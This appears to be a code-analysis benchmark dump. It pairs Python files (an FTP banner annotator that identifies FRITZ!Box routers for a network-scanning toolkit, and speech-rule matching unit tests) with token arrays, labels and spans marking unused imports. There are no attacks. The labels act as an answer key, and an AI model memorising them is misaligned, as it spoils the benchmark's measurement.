"\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "self_", "._", "two", "\\u", "months_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Fu", "ture", "Service", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "feed", "\\u", "info", ".", "txt", "\"_", "in_", "e_", "._", "start", "\\u", "date", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
zmap/ztag/ztag/annotations/FtpFritz.py
[ { "content": "import re\nfrom ztag.annotation import Annotation\nfrom ztag.annotation import OperatingSystem\nfrom ztag.annotation import Type\nfrom ztag.annotation import Manufacturer\nfrom ztag import protocols\nimport ztag.test\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class FtpFritz(Annotation):\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n manufact_re = re.compile(\"^220 FRITZ!Box\", re.IGNORECASE)\n product_re = re.compile(\"^220 (.+) FTP server ready\", re.IGNORECASE)\n\n tests = {\n \"FtpFritz_1\": {\n \"global_metadata\": {\n \"device_type\": Type.CABLE_MODEM,\n \"manufacturer\": Manufacturer.AVM,\n \"product\": \"FRITZ!BoxFonWLAN7390\"\n }\n },\n \"FtpFritz_2\": {\n \"global_metadata\": {\n \"device_type\": Type.CABLE_MODEM,\n \"manufacturer\": Manufacturer.AVM,\n \"product\": \"FRITZ!BoxFonWLAN7360(EWEEdition)\"\n }\n }\n }\n\n\n \"\"\" Tests\n \"220 FRITZ!Box7272 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7390 FTP server ready.\\r\\n\"\n \"220 FRITZ!Box7490 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7390 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7390 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7170 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7390(UI) FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7270v2 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7390(UI) FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7360(EWEEdition) FTP server ready.\\r\\n\"\n \"220 FRITZ!Box7330SL(UI) FTP server ready.\\r\\n\"\n \"220 FRITZ!Box7490 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7270v3 FTP server ready.\\r\\n\"\n \"220 FRITZ!BoxFonWLAN7340 FTP server ready.\\r\\n\"\n \"220 FRITZ!Box6360Cable(kdg) FTP server ready.\\r\\n\"\n \"220 FRITZ!Box6360Cable(um) FTP server ready.\\r\\n\"\n \"\"\"", "metadata": "root.FtpFritz", "header": "['module', '___EOS___']", "index": 9 }, { "content": " def process(self, obj, meta):\n banner = obj[\"banner\"]\n\n if self.manufact_re.search(banner):\n meta.global_metadata.device_type = Type.CABLE_MODEM\n meta.global_metadata.manufacturer = Manufacturer.AVM\n\n product = self.product_re.search(banner).group(1)\n meta.global_metadata.product = product\n\n return meta", "metadata": "root.FtpFritz.process", "header": "['class', 'FtpFritz', '(', 'Annotation', ')', ':', '___EOS___']", "index": 33 } ]
[ { "span": "from ztag.annotation import OperatingSystem", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 43 }, { "span": "import ztag.test", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Annotation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Opera", "ting", "System_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "._", "annotation_", "import_", "Manufacturer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zt", "ag_", "import_", "protocols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zt", "ag_", "._", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ft", "p", "Fri", "tz_", "(_", "Annotation_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "protocol_", "=_", "protocols_", "._", "FTP", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subpro", "toco", "l_", "=_", "protocols_", "._", "FTP", "_", "._", "BAN", "NER", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manu", "fact", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "\"", "^", "220", " ", "FRI", "TZ", "!", "Box", "\"_", ",_", "re_", "._", "IGNORECASE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "product", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "\"", "^", "220", " ", "(.+", ")", " ", "FTP", " ", "server", " ", "read", "y", "\"_", ",_", "re_", "._", "IGNORECASE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ft", "p", "Fri", "tz", "\\u", "1", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "global", "\\u", "metadata", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "device", "\\u", "type", "\"_", ":_", "Type_", "._", "CA", "BL", "E", "\\u", "MODE", "M_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "manufactur", "er", "\"_", ":_", "Manufacturer", "_", "._", "AV", "M_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "product", "\"_", ":_", "\"", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ft", "p", "Fri", "tz", "\\u", "2", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "global", "\\u", "metadata", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "device", "\\u", "type", "\"_", ":_", "Type_", "._", "CA", "BL", "E", "\\u", "MODE", "M_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "manufactur", "er", "\"_", ":_", "Manufacturer", "_", "._", "AV", "M_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "product", "\"_", ":_", "\"", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "736", "0", "(", "EW", "EE", "dition", ")\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", " ", "Test", "s", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "727", "2", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "749", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "717", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", "(", "UI", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "727", "0", "v2", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "739", "0", "(", "UI", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "736", "0", "(", "EW", "EE", "dition", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "733", "0", "SL", "(", "UI", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "749", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "727", "0", "v", "3", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "Fo", "n", "WL", "AN", "734", "0", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "636", "0", "Cab", "le", "(", "kd", "g", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"", "220", " ", "FRI", "TZ", "!", "Box", "636", "0", "Cab", "le", "(", "um", ")", " ", "FTP", " ", "server", " ", "read", "y", ".\\\\", "r", "\\\\", "n", "\"", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "[SEP]_", "class_", "Ft", "p", "Fri", "tz_", "(_", "Annotation_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "process_", "(_", "self_", ",_", "obj_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "banner_", "=_", "obj_", "[_", "\"", "banner", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "manu", "fact", "\\u", "re_", "._", "search_", "(_", "banner_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meta_", "._", "global", "\\u", "metadata_", "._", "device", "\\u", "type_", "=_", "Type_", "._", "CA", "BL", "E", "\\u", "MODE", "M_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "._", "global", "\\u", "metadata_", "._", "manufacturer_", "=_", "Manufacturer", "_", "._", "AV", "M_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "product_", "=_", "self_", "._", "product", "\\u", "re_", "._", "search_", "(_", "banner_", ")_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "._", "global", "\\u", "metadata_", "._", "product_", "=_", "product_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "meta_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
evfredericksen/pynacea/pynhost/test_pynhost/test_rule_matching.py
[ { "content": "import unittest\nimport string\nimport sys\nimport os\nimport tempfile\nimport zipfile\nimport shutil\nimport copy\nfrom pynhost import ruleparser\nfrom pynhost import matching\n\n\nif __name__ == '__main__':\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestRuleMatching(unittest.TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestRuleMatching", "header": "['module', '___EOS___']", "index": 11 }, { "content": " @classmethod\n def setUpClass(cls):\n pass", "metadata": "root.TestRuleMatching.setUpClass", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 }, { "content": " def test_overflow1(self):\n rule = ruleparser.Rule('hello')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['world'])", "metadata": "root.TestRuleMatching.test_overflow1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def test_overflow2(self):\n rule = ruleparser.Rule('hello [there] (world | universe)')\n words = 'hello there world how are you'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'there', 'world'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['how', 'are', 'you'])", "metadata": "root.TestRuleMatching.test_overflow2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 23 }, { "content": " def test_basic1(self):\n rule = ruleparser.Rule('hello world')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_basic1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_basic2(self):\n rule = ruleparser.Rule('hello [world]')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_basic2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 34 }, { "content": " def test_basic3(self):\n rule = ruleparser.Rule('hello [world]')\n words = 'hello'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello'])", "metadata": "root.TestRuleMatching.test_basic3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def test_basic4(self):\n rule = ruleparser.Rule('hello [there] world')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_basic4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 44 }, { "content": " def test_basic5(self):\n rule = ruleparser.Rule('hello [there] world')\n words = 'hello there world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'there', 'world'])", "metadata": "root.TestRuleMatching.test_basic5", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 49 }, { "content": " def test_basic6(self):\n rule = ruleparser.Rule('hello [there] world')\n words = 'hello there'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_basic6", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 54 }, { "content": " def test_basic7(self):\n rule = ruleparser.Rule('hello [there] [world]')\n words = 'hello there'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'there'])", "metadata": "root.TestRuleMatching.test_basic7", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 59 }, { "content": " def test_basic8(self):\n rule = ruleparser.Rule('hello [there world]')\n words = 'hello there world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'there', 'world'])", "metadata": "root.TestRuleMatching.test_basic8", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_basic9(self):\n rule = ruleparser.Rule('[there world]')\n words = 'there world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['there', 'world'])", "metadata": "root.TestRuleMatching.test_basic9", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 69 }, { "content": " def test_list1(self):\n rule = ruleparser.Rule('(hello | goodbye)')\n words = 'hello'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello'])", "metadata": "root.TestRuleMatching.test_list1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 }, { "content": " def test_list2(self):\n rule = ruleparser.Rule('(hello | goodbye)')\n words = 'goodbye'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['goodbye'])", "metadata": "root.TestRuleMatching.test_list2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 79 }, { "content": " def test_list3(self):\n rule = ruleparser.Rule('(hello | goodbye)')\n words = 'hello goodbye'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['goodbye'])", "metadata": "root.TestRuleMatching.test_list3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 84 }, { "content": " def test_list4(self):\n rule = ruleparser.Rule('hello (world | [enormous] universe )')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_list4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 90 }, { "content": " def test_list5(self):\n rule = ruleparser.Rule('hello (world | [enormous] universe )')\n words = 'hello universe'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'universe'])", "metadata": "root.TestRuleMatching.test_list5", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 95 }, { "content": " def test_list6(self):\n rule = ruleparser.Rule('hello (world | [enormous] universe )')\n words = 'hello enormous universe'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'enormous', 'universe'])", "metadata": "root.TestRuleMatching.test_list6", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 100 }, { "content": " def test_list7(self):\n rule = ruleparser.Rule('hello (world | [enormous] universe )')\n words = 'hello world enormous universe'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['enormous', 'universe'])", "metadata": "root.TestRuleMatching.test_list7", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 105 }, { "content": " def test_list8(self):\n rule = ruleparser.Rule('(hello world)')\n words = 'hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_list8", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 111 }, { "content": " def test_num0(self):\n rule = ruleparser.Rule('<num>')\n words = 'four'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['4'])", "metadata": "root.TestRuleMatching.test_num0", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 116 }, { "content": " def test_num1(self):\n rule = ruleparser.Rule('<num>')\n words = '4'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['4'])", "metadata": "root.TestRuleMatching.test_num1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 121 }, { "content": " def test_num2(self):\n rule = ruleparser.Rule('<num>')\n words = '-4.21'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['-4.21'])", "metadata": "root.TestRuleMatching.test_num2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 126 }, { "content": " def test_num3(self):\n rule = ruleparser.Rule('<num>')\n words = 'e'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_num3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 131 }, { "content": " def test_num4(self):\n rule = ruleparser.Rule('range <num>')\n words = 'range 83'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', '83'])", "metadata": "root.TestRuleMatching.test_num4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 136 }, { "content": " def test_num5(self):\n rule = ruleparser.Rule('range <num>[through <num>]')\n words = 'range 83'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', '83'])", "metadata": "root.TestRuleMatching.test_num5", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 141 }, { "content": " def test_num6(self):\n rule = ruleparser.Rule('range <num>[through <num>]')\n words = 'range 83 through'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', '83'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['through'])", "metadata": "root.TestRuleMatching.test_num6", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 146 }, { "content": " def test_num10(self):\n rule = ruleparser.Rule('range banana [through waffle]')\n words = 'range banana through'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', 'banana'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['through'])", "metadata": "root.TestRuleMatching.test_num10", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 152 }, { "content": " def test_num7(self):\n rule = ruleparser.Rule('range <num>[through <num>]')\n words = 'range 83 through -100'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', '83', 'through', '-100'])", "metadata": "root.TestRuleMatching.test_num7", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 158 }, { "content": " def test_num8(self):\n rule = ruleparser.Rule('range <num>[through <num>[step <num>]]')\n words = 'range 83 through -100 step -4'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['range', '83', 'through', '-100', 'step', '-4'])", "metadata": "root.TestRuleMatching.test_num8", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 163 }, { "content": " def test_num9(self):\n rule = ruleparser.Rule('<num>')\n words = 'too'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['2'])", "metadata": "root.TestRuleMatching.test_num9", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 168 }, { "content": " def test_any1(self):\n rule = ruleparser.Rule('<any>')\n words = 'yowza'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['yowza'])", "metadata": "root.TestRuleMatching.test_any1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 173 }, { "content": " def test_any2(self):\n rule = ruleparser.Rule('<any>')\n words = 'yowza wowza'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['yowza'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['wowza'])", "metadata": "root.TestRuleMatching.test_any2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 178 }, { "content": " def test_any3(self):\n rule = ruleparser.Rule('hello <any>')\n words = 'hello daisy'.split()\n self.assertTrue(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'daisy'])", "metadata": "root.TestRuleMatching.test_any3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 184 }, { "content": " def test_any4(self):\n rule = ruleparser.Rule('hello <any> <3>')\n words = 'hello dear omnipotent leader'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'dear', 'omnipotent', 'leader'])", "metadata": "root.TestRuleMatching.test_any4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 189 }, { "content": " def test_any5(self):\n rule = ruleparser.Rule('hello <any> 